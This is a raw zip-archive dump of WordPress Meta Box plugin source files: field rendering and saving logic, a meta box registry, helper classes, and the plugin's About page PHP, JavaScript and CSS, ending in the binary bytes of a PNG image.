		$begin = static::begin_html( $field );
		$begin = self::filter( 'begin_html', $begin, $field, $meta );

		$mobile_field = isset( $field['mobile'] ) && $field['mobile'] ? $field : '';

		// Separate code for cloneable and non-cloneable fields to make easy to maintain.
		if ( $field['clone'] ) {
			$field_html = RWMB_Clone::html( $meta, $field );
		} else {
			// Call separated methods for displaying each type of field.
			$field_html = self::call( $field, 'html', $meta );
			$field_html = self::filter( 'html', $field_html, $field, $meta );

			if ( $mobile_field ) {
				$mobile_field['id'] = $field['id'].'_mobile';
				$mobile_field['field_name'] = $field['field_name'].'_mobile';

				$mobile_meta = self::call( $mobile_field, 'meta', $post_id, $saved );
				$mobile_meta = self::filter( 'field_meta', $mobile_meta, $mobile_field, $saved );
				
				$mobile_field_html = self::call( $mobile_field, 'html', $mobile_meta );
				$mobile_field_html = self::filter( 'html', $mobile_field_html, $mobile_field, $mobile_meta );
				$field_html = $field_html.$mobile_field_html;
			}
		}

		$end = static::end_html( $field );
		$end = self::filter( 'end_html', $end, $field, $meta );

		$html = self::filter( 'wrapper_html', "$begin$field_html$end", $field, $meta );

		// Display label and input in DIV and allow user-defined classes to be appended.
		$classes = "rwmb-field rwmb-{$field['type']}-wrapper " . $field['class'];
		if ( ! empty( $field['required'] ) ) {
			$classes .= ' required';
		}

		if ( $mobile_field ) {
			$classes .= ' rwmb-has-mobile-field';
		}

		$outer_html = sprintf(
			$field['before'] . '<div class="%s">%s</div>' . $field['after'],
			esc_attr( trim( $classes ) ),
			$html
		);
		$outer_html = self::filter( 'outer_html', $outer_html, $field, $meta );

		echo $outer_html; // phpcs:ignore WordPress.Security.EscapeOutput
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return '';
	}

	protected static function begin_html( array $field ) : string {
		$id       = $field['attributes']['id'] ?? $field['id'];
		$required = $field['required'] || ! empty( $field['attributes']['required'] );

		$mobile = isset($field['mobile']) && $field['mobile'];

		$label = $field['name'] ? sprintf(
			'<label for="%s">%s%s</label>%s',
			esc_attr( $id ),
			$field['name'],
			$required ? '<span class="rwmb-required">*</span>' : '',
			$mobile ? '<div class="rwmb-device-switcher"><span aria-label="Desktop" data-device="desktop" class="active rwmb-device-btn"><i class="dashicons dashicons-desktop"></i></span><span aria-label="Mobile" data-device="mobile" class="rwmb-device-btn"><i class="dashicons dashicons-smartphone"></i></span></div>' : ''
		) : '';

		$label .= static::label_description( $field );

		$label = $label ? sprintf(
			'<div class="rwmb-label" id="%s-label">%s</div>',
			esc_attr( $id ),
			$label
		) : '';

		$data_min_clone = is_numeric( $field['min_clone'] ) && $field['min_clone'] > 1 ? ' data-min-clone=' . $field['min_clone'] : '';
		$data_max_clone = is_numeric( $field['max_clone'] ) && $field['max_clone'] > 1 ? ' data-max-clone=' . $field['max_clone'] : '';

		$input_open = sprintf(
			'<div class="rwmb-input" %s %s>',
			$data_min_clone,
			$data_max_clone
		);

		return $label . $input_open;
	}

	protected static function end_html( array $field ) : string {
		return RWMB_Clone::add_clone_button( $field ) . static::input_description( $field ) . '</div>';
	}

	protected static function label_description( array $field ) : string {
		$id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-label-description"' : '';
		return $field['label_description'] ? "<p{$id} class='description'>{$field['label_description']}</p>" : '';
	}

	protected static function input_description( array $field ) : string {
		$id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-description"' : '';
		return $field['desc'] ? "<p{$id} class='description'>{$field['desc']}</p>" : '';
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		if ( empty( $field['id'] ) ) {
			return '';
		}

		if ( isset( $field['storage'] ) ) {
			$storage = $field['storage'];
		} elseif ( isset( $args['object_type'] ) ) {
			$storage = rwmb_get_storage( $args['object_type'] );
		} else {
			$storage = rwmb_get_storage( 'post' );
		}

		if ( ! isset( $args['single'] ) ) {
			$args['single'] = $field['clone'] || ! $field['multiple'];
		}

		if ( $field['clone'] && $field['clone_as_multiple'] ) {
			$args['single'] = false;
		}

		$value = $storage->get( $object_id, $field['id'], $args );
		$value = self::filter( 'raw_meta', $value, $field, $object_id, $args );
		return $value;
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		/**
		 * For special fields like 'divider', 'heading' which don't have ID, just return empty string
		 * to prevent notice error when displaying fields.
		 */
		if ( empty( $field['id'] ) ) {
			return '';
		}

		// Get raw meta.
		$meta = self::call( $field, 'raw_meta', $post_id );

		// Use $field['std'] only when the meta box hasn't been saved (i.e. the first time we run).
		$meta = ! $saved || ! $field['save_field'] ? $field['std'] : $meta;

		if ( $field['clone'] ) {
			$meta = Arr::ensure( $meta );

			// Ensure $meta is an array with values so that the foreach loop in self::show() runs properly.
			if ( empty( $meta ) ) {
				$meta = [ '' ];
			}

			if ( $field['multiple'] ) {
				$first = reset( $meta );

				// If users set std for a cloneable checkbox list field in the Builder, they can only set [value1, value2]. We need to transform it to [[value1, value2]].
				// In other cases, make sure each value is an array.
				$meta = is_array( $first ) ? array_map( 'MetaBox\Support\Arr::ensure', $meta ) : [ $meta ];
			}
		} elseif ( $field['multiple'] ) {
			$meta = Arr::ensure( $meta );
		}

		return $meta;
	}

	/**
	 * Process the submitted value before saving into the database.
	 *
	 * @param mixed $value     The submitted value.
	 * @param int   $object_id The object ID.
	 * @param array $field     The field settings.
	 */
	public static function process_value( $value, $object_id, array $field ) {
		$old_value = self::call( $field, 'raw_meta', $object_id );

		// Allow field class change the value.
		if ( $field['clone'] ) {
			$value = RWMB_Clone::value( $value, $old_value, $object_id, $field );
		} else {
			$value = self::call( $field, 'value', $value, $old_value, $object_id );
			$value = self::filter( 'sanitize', $value, $field, $old_value, $object_id );
		}
		$value = self::filter( 'value', $value, $field, $old_value, $object_id );

		return $value;
	}

	/**
	 * Set value of meta before saving into database.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}
		$name    = $field['id'];
		$storage = $field['storage'];

		// Remove post meta if it's empty.
		if ( ! RWMB_Helpers_Value::is_valid_for_field( $new ) ) {
			$storage->delete( $post_id, $name );
			return;
		}

		// If field is cloneable AND not force to save as multiple rows, value is saved as a single row in the database.
		if ( $field['clone'] && ! $field['clone_as_multiple'] ) {
			$storage->update( $post_id, $name, $new );
			return;
		}

		// Save cloned fields as multiple values instead serialized array.
		if ( ( $field['clone'] && $field['clone_as_multiple'] ) || $field['multiple'] ) {
			$storage->delete( $post_id, $name );
			$new = (array) $new;
			foreach ( $new as $new_value ) {
				$storage->add( $post_id, $name, $new_value, false );
			}
			return;
		}

		// Default: just update post meta.
		$storage->update( $post_id, $name, $new );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array|string $field Field settings.
	 * @return array
	 */
	public static function normalize( $field ) {
		// Quick define text fields with "name" attribute only.
		if ( is_string( $field ) ) {
			$field = [
				'name' => $field,
				'id'   => sanitize_key( $field ),
			];
		}
		$field = wp_parse_args( $field, [
			'id'                => '',
			'name'              => '',
			'type'              => 'text',
			'label_description' => '',
			'multiple'          => false,
			'std'               => '',
			'desc'              => '',
			'format'            => '',
			'before'            => '',
			'after'             => '',
			'field_name'        => $field['id'] ?? '',
			'placeholder'       => '',
			'save_field'        => true,

			'clone'             => false,
			'min_clone'         => 0,
			'max_clone'         => 0,
			'sort_clone'        => false,
			'add_button'        => __( '+ Add more', 'meta-box' ),
			'clone_default'     => false,
			'clone_as_multiple' => false,

			'class'             => '',
			'disabled'          => false,
			'required'          => false,
			'autofocus'         => false,
			'attributes'        => [],

			'sanitize_callback' => null,
		] );

		// Store the original ID to run correct filters for the clonable field.
		if ( $field['clone'] ) {
			$field['_original_id'] = $field['id'];
		}

		if ( $field['clone_default'] ) {
			$field['attributes'] = wp_parse_args( $field['attributes'], [
				'data-default'       => $field['std'],
				'data-clone-default' => 'true',
			] );
		}

		if ( 1 === $field['max_clone'] ) {
			$field['clone'] = false;
		}

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = wp_parse_args( $field['attributes'], [
			'disabled'  => $field['disabled'],
			'autofocus' => $field['autofocus'],
			'required'  => $field['required'],
			'id'        => $field['id'],
			'class'     => '',
			'name'      => $field['field_name'],
		] );

		$attributes['class'] = trim( implode( ' ', array_merge( [ "rwmb-{$field['type']}" ], (array) $attributes['class'] ) ) );
		$is_mobile = substr($field['id'], -strlen('_mobile')) === '_mobile';

		if ( isset($field['mobile']) && $field['mobile'] && ! $is_mobile ) {
			$attributes['class'] = $attributes['class'] . ' ' . 'rwmb-desktop-field';
		}

		if ( $is_mobile ) {
			$attributes['class'] = $attributes['class'] . ' ' . 'rwmb-mobile-field';
		}

		$id = $attributes['id'] ?: $field['id'];
		if ( $field['name'] || $field['label_description'] ) {
			$attributes['aria-labelledby'] = "$id-label";
		}
		if ( $field['desc'] ) {
			$attributes['aria-describedby'] = "$id-description";
		}

		return $attributes;
	}

	public static function render_attributes( array $attributes ) : string {
		$output = '';

		$attributes = array_filter( $attributes, 'RWMB_Helpers_Value::is_valid_for_attribute' );
		foreach ( $attributes as $key => $value ) {
			if ( is_array( $value ) ) {
				$value = wp_json_encode( $value );
			}

			$output .= sprintf( ' %s="%s"', $key, esc_attr( $value ) );
		}

		return $output;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field, for ex.:
	 * for file/image: return array of file/image information instead of file/image IDs.
	 *
	 * Each field can extend this function and add more data to the returned value.
	 * See specific field classes for details.
	 *
	 * @param  array $field   Field parameters.
	 * @param  array $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param  ?int  $post_id Post ID.
	 *
	 * @return mixed Field value
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		// Some fields does not have ID like heading, custom HTML, etc.
		if ( empty( $field['id'] ) ) {
			return '';
		}

		if ( ! $post_id ) {
			$post_id = get_the_ID();
		}

		// Get raw meta value in the database, no escape.
		$value = self::call( $field, 'raw_meta', $post_id, $args );

		// Make sure meta value is an array for cloneable and multiple fields.
		if ( $field['clone'] || $field['multiple'] ) {
			$value = is_array( $value ) && ! empty( $value ) ? $value : [];
		}

		return $value;
	}

	/**
	 * Output the field value.
	 * Depends on field value and field types, each field can extend this method to output its value in its own way
	 * See specific field classes for details.
	 *
	 * Note: we don't echo the field value directly. We return the output HTML of field, which will be used in
	 * rwmb_the_field function later.
	 *
	 * @use self::get_value()
	 * @see rwmb_the_value()
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string HTML output of the field
	 */
	public static function the_value( $field, $args = [], $post_id = null ) {
		$value = self::call( 'get_value', $field, $args, $post_id );

		if ( false === $value ) {
			return '';
		}

		return self::call( 'format_value', $field, $value, $args, $post_id );
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		if ( ! $field['clone'] ) {
			return self::call( 'format_clone_value', $field, $value, $args, $post_id );
		}
		$output = '<ul>';
		foreach ( $value as $clone ) {
			$output .= '<li>' . self::call( 'format_clone_value', $field, $clone, $args, $post_id ) . '</li>';
		}
		$output .= '</ul>';
		return $output;
	}

	/**
	 * Format value for a clone.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		if ( ! $field['multiple'] ) {
			return self::call( 'format_single_value', $field, $value, $args, $post_id );
		}
		$output = '<ul>';
		foreach ( $value as $single ) {
			$output .= '<li>' . self::call( 'format_single_value', $field, $single, $args, $post_id ) . '</li>';
		}
		$output .= '</ul>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value;
	}

	/**
	 * Call a method of a field.
	 */
	public static function call() {
		$args = func_get_args();

		$check = reset( $args );

		// Params: method name, field, other params.
		if ( is_string( $check ) ) {
			$method = array_shift( $args );
			$field  = reset( $args ); // Keep field as 1st param.
		} else {
			// Params: field, method name, other params.
			$field  = array_shift( $args );
			$method = array_shift( $args );

			if ( 'raw_meta' === $method ) {
				// Add field param after object id.
				array_splice( $args, 1, 0, [ $field ] );
			} else {
				$args[] = $field; // Add field as last param.
			}
		}

		$class = RWMB_Helpers_Field::get_class( $field );
		if ( method_exists( $class, $method ) ) {
			return call_user_func_array( [ $class, $method ], $args );
		}

		_deprecated_function( esc_html( "$class::$method" ), '5.4.8' );
	}

	/**
	 * Apply various filters based on field type, id.
	 * Filters:
	 * - rwmb_{$name}
	 * - rwmb_{$field['type']}_{$name}
	 * - rwmb_{$field['id']}_{$name}
	 *
	 * @return mixed
	 */
	public static function filter() {
		$args = func_get_args();

		// 3 first params must be: filter name, value, field. Other params will be used for filters.
		$name  = array_shift( $args );
		$value = array_shift( $args );
		$field = array_shift( $args );

		// List of filters.
		$filters = [
			'rwmb_' . $name,
			'rwmb_' . $field['type'] . '_' . $name,
		];
		if ( $field['id'] ) {
			$field_id  = $field['clone'] ? $field['_original_id'] : $field['id'];
			$filters[] = 'rwmb_' . $field_id . '_' . $name;
		}

		// Filter params: value, field, other params. Note: value is changed after each run.
		array_unshift( $args, $field );
		foreach ( $filters as $filter ) {
			$filter_args = $args;
			array_unshift( $filter_args, $value );
			$value = apply_filters_ref_array( $filter, $filter_args );
		}

		return $value;
	}
}
PK     N\6    4  inc/dashboard/lib/meta-box/inc/meta-box-registry.phpnu [        <?php
/**
 * A registry for storing all meta boxes.
 *
 * @link https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
 */
class RWMB_Meta_Box_Registry {
	private $data = [];

	/**
	 * Create a meta box object.
	 *
	 * @param array $settings Meta box settings.
	 * @return \RW_Meta_Box
	 */
	public function make( array $settings ) {
		$class_name = apply_filters( 'rwmb_meta_box_class_name', 'RW_Meta_Box', $settings );

		$meta_box = new $class_name( $settings );
		$this->add( $meta_box );
		return $meta_box;
	}

	public function add( RW_Meta_Box $meta_box ) {
		$this->data[ $meta_box->id ] = $meta_box;
	}

	public function get( $id ) {
		return $this->data[ $id ] ?? false;
	}

	/**
	 * Get meta boxes under some conditions.
	 *
	 * @param array $args Custom argument to get meta boxes by.
	 */
	public function get_by( array $args ) : array {
		$meta_boxes = $this->data;
		foreach ( $meta_boxes as $index => $meta_box ) {
			foreach ( $args as $key => $value ) {
				$meta_box_key = 'object_type' === $key ? $meta_box->get_object_type() : $meta_box->$key;
				if ( $meta_box_key !== $value ) {
					unset( $meta_boxes[ $index ] );
					continue 2; // Skip the meta box loop.
				}
			}
		}

		return $meta_boxes;
	}

	public function all() {
		return $this->data;
	}
}
PK     N\=    0  inc/dashboard/lib/meta-box/inc/helpers/value.phpnu [        <?php
/**
 * Helper functions for checking values.
 *
 * @package Meta Box
 */

/**
 * Helper class for checking values.
 *
 * @package Meta Box
 */
class RWMB_Helpers_Value {
	/**
	 * Check if a value is valid for field (not empty "WordPress way"), e.g. equals to empty string or array.
	 *
	 * @param mixed $value Input value.
	 * @return bool
	 */
	public static function is_valid_for_field( $value ) {
		return '' !== $value && [] !== $value;
	}

	/**
	 * Check if a value is valid for attribute.
	 *
	 * @param mixed $value Input value.
	 * @return bool
	 */
	public static function is_valid_for_attribute( $value ) {
		return '' !== $value && false !== $value;
	}
}
PK     N\k;'    1  inc/dashboard/lib/meta-box/inc/helpers/string.phpnu [        <?php
/**
 * String helper functions.
 */
class RWMB_Helpers_String {
	public static function title_case( string $text ) : string {
		$text = str_replace( [ '-', '_' ], ' ', $text );
		$text = ucwords( $text );
		$text = str_replace( ' ', '_', $text );

		return $text;
	}
}
PK     N\      0  inc/dashboard/lib/meta-box/inc/helpers/array.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * No longer needed. Keep it here for backward compatibility.
 */
class RWMB_Helpers_Array extends Arr {}
PK     N\vQ1}  }  0  inc/dashboard/lib/meta-box/inc/helpers/field.phpnu [        <?php
/**
 * Field helper functions.
 */
class RWMB_Helpers_Field {
	/**
	 * Localize a script only once.
	 * @link https://github.com/rilwis/meta-box/issues/850
	 */
	public static function localize_script_once( string $handle, string $name, array $data ) {
		if ( ! wp_scripts()->get_data( $handle, 'data' ) ) {
			wp_localize_script( $handle, $name, $data );
		}
	}

	public static function add_inline_script_once( string $handle, string $text ) {
		if ( ! wp_scripts()->get_data( $handle, 'after' ) ) {
			wp_add_inline_script( $handle, $text );
		}
	}

	public static function get_class( $field ) : string {
		$type  = self::get_type( $field );
		$class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Field';
		$class = apply_filters( 'rwmb_field_class', $class, $type );
		return class_exists( $class ) ? $class : 'RWMB_Input_Field';
	}

	private static function get_type( $field ) : string {
		$type = $field['type'] ?? 'text';
		$map  = array_merge(
			[
				$type => $type,
			],
			[
				'file_advanced'  => 'media',
				'plupload_image' => 'image_upload',
				'url'            => 'text',
			]
		);

		return $map[ $type ];
	}
}
PK     N\{C-  -  0  inc/dashboard/lib/meta-box/inc/about/js/about.jsnu [        ( function ( $ ) {
	'use strict';

	function tabs() {
		var $container = $( '.nav-tab-wrapper' ),
			$tabs      = $container.find( '.nav-tab' ),
			$panes     = $( '.gt-tab-pane' );

		$container.on(
			'click',
			'.nav-tab',
			function ( e ) {
				e.preventDefault();

				$tabs.removeClass( 'nav-tab-active' );
				$( this ).addClass( 'nav-tab-active' );

				$panes.removeClass( 'gt-is-active' );
				$panes.filter( $( this ).attr( 'href' ) ).addClass( 'gt-is-active' );
			}
		);
	}

	// Auto activate tabs when DOM ready.
	$( tabs );
} ( jQuery ) );
PK     N\ڠp    .  inc/dashboard/lib/meta-box/inc/about/about.phpnu [        <?php
/**
 * Add about page for the Meta Box plugin.
 */
class RWMB_About {
	/**
	 * The updater checker object.
	 *
	 * @var object
	 */
	private $update_checker;

	/**
	 * Constructor.
	 *
	 * @param object $update_checker The updater checker object.
	 */
	public function __construct( $update_checker ) {
		$this->update_checker = $update_checker;
	}

	public function init() {
		// Add links to about page in the plugin action links.
		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

		// Add a shared top-level admin menu and Dashboard page. Use priority 5 to show Dashboard at the top.
		add_action( 'admin_menu', [ $this, 'add_menu' ], 5 );
		add_action( 'admin_menu', [ $this, 'add_submenu' ], 5 );

		// If no admin menu, then hide the About page.
		add_action( 'admin_head', [ $this, 'hide_page' ] );

		// Redirect to about page after activation.
		add_action( 'activated_plugin', [ $this, 'redirect' ], 10, 2 );
	}

	public function plugin_links( array $links ): array {
		$links[] = '<a href="' . esc_url( $this->get_menu_link() ) . '">' . esc_html__( 'About', 'meta-box' ) . '</a>';
		if ( ! $this->update_checker->has_extensions() ) {
			$links[] = '<a href="https://elu.to/mpp" style="color: #39b54a; font-weight: bold">' . esc_html__( 'Go Pro', 'meta-box' ) . '</a>';
		}
		return $links;
	}

	public function add_menu() {
		if ( ! $this->has_menu() ) {
			return;
		}
		add_menu_page(
			__( 'Meta Box', 'meta-box' ),
			__( 'Meta Box', 'meta-box' ),
			'activate_plugins',
			'meta-box',
			'__return_null',
			'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHN2ZyB2aWV3Qm94PSIxNjQuMzI4IDE0OS40NDEgNTMuNDcgNDIuNjYiIHdpZHRoPSI1My40NyIgaGVpZ2h0PSI0Mi42NiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cGF0aCBkPSJNIDIwNC42NjggMTc5LjM5MSBMIDIwNS40ODggMTYwLjU1MSBMIDIwNS4zMTggMTYwLjUyMSBMIDE5My44ODggMTkyLjEwMSBMIDE4OC4xNDggMTkyLjEwMSBMIDE3Ni43NzggMTYwLjY0MSBMIDE3Ni42MDggMTYwLjY2MSBMIDE3Ny40MjggMTc5LjM5MSBMIDE3Ny40MjggMTg2LjA5MSBMIDE4MS45OTggMTg2Ljk3MSBMIDE4MS45OTggMTkyLjEwMSBMIDE2NC4zMjggMTkyLjEwMSBMIDE2NC4zMjggMTg2Ljk3MSBMIDE2OC44NjggMTg2LjA5MSBMIDE2OC44NjggMTU1LjQ4MSBMIDE2NC4zMjggMTU0LjYwMSBMIDE2NC4zMjggMTQ5LjQ0MSBMIDE2OC44NjggMTQ5LjQ0MSBMIDE4MC4wMjggMTQ5LjQ0MSBMIDE5MC44OTggMTgwLjg4MSBMIDE5MS4wNzggMTgwLjg4MSBMIDIwMi4wMzggMTQ5LjQ0MSBMIDIxNy43OTggMTQ5LjQ0MSBMIDIxNy43OTggMTU0LjYwMSBMIDIxMy4yMjggMTU1LjQ4MSBMIDIxMy4yMjggMTg2LjA5MSBMIDIxNy43OTggMTg2Ljk3MSBMIDIxNy43OTggMTkyLjEwMSBMIDIwMC4xMjggMTkyLjEwMSBMIDIwMC4xMjggMTg2Ljk3MSBMIDIwNC42NjggMTg2LjA5MSBMIDIwNC42NjggMTc5LjM5MSBaIiBzdHlsZT0iZmlsbDogcmdiKDE1OCwgMTYzLCAxNjgpOyB3aGl0ZS1zcGFjZTogcHJlOyIvPgo8L3N2Zz4='
		);
	}

	public function add_submenu() {
		$parent_menu = $this->has_menu() ? 'meta-box' : $this->get_parent_menu();
		$about       = add_submenu_page(
			$parent_menu,
			__( 'Welcome to Meta Box', 'meta-box' ),
			__( 'Dashboard', 'meta-box' ),
			'activate_plugins',
			'meta-box',
			[ $this, 'render' ]
		);
		add_action( "load-$about", [ $this, 'enqueue' ] );
	}

	public function hide_page() {
		remove_submenu_page( $this->get_parent_menu(), 'meta-box' );
	}

	public function render() {
		?>
		<div class="wrap">
			<div id="poststuff">
				<div id="post-body" class="metabox-holder columns-2">
					<div id="post-body-content">
						<div class="about-wrap">
							<?php
							include __DIR__ . '/sections/welcome.php';
							include __DIR__ . '/sections/tabs.php';
							if ( $this->update_checker->has_extensions() ) {
								include __DIR__ . '/sections/getting-started-pro.php';
							} else {
								include __DIR__ . '/sections/getting-started.php';
							}
							include __DIR__ . '/sections/extensions.php';
							include __DIR__ . '/sections/support.php';
							do_action( 'rwmb_about_tabs_content' );
							?>
						</div>
					</div>
					<div id="postbox-container-1" class="postbox-container">
						<?php
						include __DIR__ . '/sections/products.php';
						include __DIR__ . '/sections/review.php';
						if ( ! $this->update_checker->has_extensions() ) {
							include __DIR__ . '/sections/upgrade.php';
						}
						?>
					</div>
				</div>
			</div>
		</div>
		<?php
	}

	public function enqueue() {
		wp_enqueue_style( 'meta-box-about', RWMB_URL . 'inc/about/css/about.css', [], RWMB_VER );
		wp_enqueue_script( 'meta-box-about', RWMB_URL . 'inc/about/js/about.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Redirect to about page after Meta Box has been activated.
	 *
	 * @param string $plugin       Path to the main plugin file from plugins directory.
	 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
	 *                             or just the current site. Multisite only. Default is false.
	 */
	public function redirect( $plugin, $network_wide = false ) {
		$is_cli           = 'cli' === php_sapi_name();
		$is_plugin        = 'meta-box/meta-box.php' === $plugin;
		$is_bulk_activate = 'activate-selected' === rwmb_request()->post( 'action' ) && count( rwmb_request()->post( 'checked' ) ) > 1;

		if ( ! $is_plugin || $network_wide || $is_cli || $is_bulk_activate || $this->is_bundled() ) {
			return;
		}
		wp_safe_redirect( $this->get_menu_link() );
		die;
	}

	private function get_menu_link(): string {
		$menu = $this->has_menu() ? 'admin.php?page=meta-box' : $this->get_parent_menu() . '?page=meta-box';
		return admin_url( $menu );
	}

	private function get_parent_menu(): string {
		return 'plugins.php';
	}

	private function has_menu(): bool {
		return apply_filters( 'rwmb_admin_menu', false );
	}

	private function is_bundled(): bool {
		// @codingStandardsIgnoreLine
		foreach ( $_REQUEST as $key => $value ) {
			if ( str_contains( $key, 'tgmpa' ) || ( is_string( $value ) && str_contains( $value, 'tgmpa' ) ) ) {
				return true;
			}
		}
		return false;
	}
}
PK     N\7j  j  2  inc/dashboard/lib/meta-box/inc/about/css/about.cssnu [        .about-wrap {
	padding-right: 20px;
}
.about-wrap.about-wrap .wp-badge {
	background-image: url(../images/meta-box.svg);
	background-color: #fff;
	color: #222;
	text-transform: uppercase;
	font-weight: bold;
	text-decoration: none;
}

.wp-badge:hover {
	text-decoration: none;
}

.about-buttons .dashicons {
	position: relative;
	top: 5px;
	width: 16px;
	height: 16px;
	font-size: 16px;
}

#poststuff .nav-tab-wrapper {
	padding: 0;
	margin-top: 60px;
}

.nav-tab-active:focus {
	box-shadow: none;
}

.gt-tab-pane {
	display: none;
	padding-top: 24px;
}
.gt-tab-pane .about-description.about-description {
	margin-top: 0;
}

.gt-is-active {
	display: block;
}

.two {
	display: flex;
}
.two .col + .col {
	margin-left: 40px;
}
.two h3 {
	margin-top: 2em;
}
.two h3:first-child {
	margin-top: 0;
}
.two img {
	display: block;
	box-shadow: 0 0 20px rgba(0, 0, 0, .1);
	border-radius: 4px;
}
.screenshot {
	display: block;
	margin: 3em auto;
}
.col {
	flex: 1;
	max-width: 50%;
}
.col ul {
	font-size: 14px;
	margin: 2em 0;
}
.col li a {
	text-decoration: none;
}

/* Extensions tab */
.extensions {
	margin-top: 40px;
	display: flex;
	justify-content: space-between;
	flex-wrap: wrap;
}
.extension {
	width: 100%;
	margin-bottom: 20px;
}
.extension-inner {
	display: flex;
	background: #fff;
	padding: 25px 20px;
}
.extension-inner svg {
	width: 36px;
	height: 36px;
	margin: 8px 15px 0 0;
	fill: #b4b9be;
}
.extension-info {
	flex: 1;
}
.extension-info.extension-info h3 {
	margin: 0 0 5px;
	font-size: 1.2em;
}
.extension-info p {
	margin: 0;
}
.extension-action {
	border-top: 1px solid #ddd;
	text-align: center;
	padding: 20px;
	background: #f7f7f7;
}

/* Extensions tab: 2 columns */
@media (min-width: 768px) {
	.extension {
		width: 49%;
	}
}
/* For large screen: 3 columns */
@media (min-width: 1600px) {
	.extension {
		width: 32%;
	}
}

/* Right column */
#post-body.columns-2 #postbox-container-1 {
	position: fixed;
	right: 320px;
	top: 80px;
}

@media (max-width: 1279px) {
	#postbox-container-1 {
		display: none;
	}
	#poststuff #post-body.columns-2 {
		margin-right: 0;
	}
}

/* Upgrade */
.upgrade {
	border: 3px dashed #82878c;
	background: #fff;
	padding: 15px;
}
.upgrade .dashicons {
	color: #ef4836;
	width: 26px;
	height: 26px;
	font-size: 30px;
	position: relative;
	top: -4px;
	left: -5px;
}
.upgrade h3 {
	margin: 0;
}
.upgrade li {
	padding-left: 20px;
	position: relative;
}
.upgrade svg {
	width: 1em;
	height: 1em;
	fill: #0073aa;
	position: absolute;
	top: 4px;
	left: 0;
}

.youtube-video-container {
	position: relative;
	overflow: hidden;
	width: 100%;
}

.youtube-video-container::after {
	display: block;
	content: "";
	padding-top: 56.25%;
}

.youtube-video-container iframe {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
#getting-started .tutorial a {
	font-size: 32px;
	font-weight: 600;
	color:#32373c;
	text-decoration: unset;
}
#getting-started .tutorial a:hover {
	color: #2271b1;
}
.tutorial-items{
	display: grid;
	grid-template-columns: repeat(2, 1fr);
	gap: 15px 30px;
	margin-top: 30px;
}
@media (max-width: 767px) {
	.tutorial-items{
		grid-template-columns: repeat(1, 1fr);
		gap: 15px 0px;
	}
}
.tutorial-items a{
	font-size: 20px;
	font-weight: 500;
	color:#32373c;
	text-decoration: unset;
}
.tutorial-items a:hover{
	color:#2271b1;
}
.tutorial-items a span{
	margin-right: 5px;
}
.tutorial-items a p{
	font-size: 14px;
	font-weight: 400;
	color:#32373c;
}
PK     N\dq
3  3  @  inc/dashboard/lib/meta-box/inc/about/images/online-generator.pngnu [        PNG

   IHDR    S   ;Vk   gAMA  a   sRGB    PLTEFTb/?Oݙt~P^kbmzmxѦ|KXf5DUgr~AO_Uao<KZ]ivھYesQcvɍԴ웸穨ރmj!  2IDATxk{LGqDPTDr2iRsۦ}e'vv"	 _  Y  
   
 d @V  d   +   Y f雸 |hTs,
